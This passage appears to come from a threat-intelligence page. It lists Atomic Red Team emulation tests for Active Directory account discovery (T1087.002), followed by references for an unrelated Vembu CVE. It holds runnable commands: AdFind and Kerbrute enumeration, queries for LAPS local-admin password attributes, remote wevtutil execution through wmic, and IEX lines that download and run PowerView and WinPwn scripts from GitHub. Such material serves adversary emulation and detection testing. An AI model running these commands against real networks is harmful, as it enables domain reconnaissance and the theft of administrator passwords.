"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
T1087.002 Adfind -Listing password policy Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy. reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
T1087.002 Automated AD Recon (ADRecon) Windows PowerShell
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed.
Command (PowerShell) 
Invoke-Expression "#{adrecon_path}"
T1087.002 Enumerate Active Directory Users with ADSISearcher Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell) 
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
T1087.002 Enumerate Active Directory for Unconstrained Delegation Windows PowerShell
Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information -...
Command (PowerShell) 
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
T1087.002 Enumerate Default Domain Admin Details (Domain) Windows CMD
This test will enumerate the details of the built-in domain admin account
Command (CMD) 
net user administrator /domain
T1087.002 Enumerate Linked Policies In ADSISearcher Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell) 
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate Root Domain linked policies Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell) 
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate all accounts (Domain) Windows CMD
Enumerate all accounts Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command (CMD) 
net user /domain
net group /domain
T1087.002 Enumerate all accounts via PowerShell (Domain) Windows PowerShell
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command (PowerShell) 
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
T1087.002 Enumerate logged on users via CMD (Domain) Windows CMD
Enumerate logged on users. Upon exeuction, logged on users will be displayed.
Command (CMD) 
query user /SERVER:#{computer_name}
T1087.002 Get-DomainUser with PowerView Windows PowerShell
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
T1087.002 Kerbrute - userenum Windows PowerShell
Enumerates active directory usernames using the userenum function of Kerbrute
Command (PowerShell) 
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
Get-ADComputer #{hostname} -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Suspicious LAPS Attributes Query with adfind all properties Windows PowerShell
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
T1087.002 Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd Windows PowerShell
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell) 
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Wevtutil - Discover NTLM Users Remote Windows PowerShell
This test discovers users who have authenticated against a Domain Controller via NTLM. This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command (PowerShell) 
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
T1087.002 WinPwn - generaldomaininfo Windows PowerShell
Gathers general domain information using the generaldomaininfo function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (5)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-26471
csirt.divd.nl
GitHub CVE x_refsource_CONFIRM
https://csirt.divd.nl/cves/CVE-2021-26471/
csirt.divd.nl
GitHub CVE x_refsource_CONFIRM
https://csirt.divd.nl/cases/DIVD-2020-00011/
csirt.divd.nl
GitHub CVE x_refsource_CONFIRM
https://csirt.divd.nl/2021/05/11/Vembu-zero-days/
wbsec.nl
GitHub CVE x_refsource_CONFIRM
https://www.wbsec.nl/vembu